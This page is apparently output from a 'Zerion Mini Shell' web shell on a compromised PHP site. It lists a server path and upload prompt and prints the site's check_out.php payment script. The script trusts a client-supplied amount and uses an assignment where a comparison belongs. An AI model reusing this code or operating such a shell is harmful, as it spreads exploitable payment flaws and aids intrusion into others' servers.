ok

Mini Shell

Direktori : /proc/self/root/home2/selectio/www/tnpsctestbatch.com/api/
Upload File :
Current File : //proc/self/root/home2/selectio/www/tnpsctestbatch.com/api/check_out.php

<?php

session_start();
include "../config/config.php";


if($_POST['type']='checkout_order'){
    

    
    $user_id = $_SESSION['user_exam']['id'];
    $amount = $_POST['amount'];


// 1) Orders Details - Insert Here
$query = $pdo->prepare("INSERT INTO `tbl_payment`(`user_id`,`amount`) VALUES (?,?)");
$query->execute(array($user_id,$amount));


$order_id = $pdo->lastInsertId();
    


if($query){    
    $return_arr['order_id']=$order_id;
    $return_arr['amount']=$amount;
    $return_arr['user_id']=$user_id;
    
        $return_arr['message']='Order Successfully Completed';
        $return_arr['status']=200;
} 
else{
    
    $return_arr['message']='Something Went Wrong..';
    $return_arr['status']=400;
}


echo json_encode ($return_arr);

}


?>

Zerion Mini Shell 1.0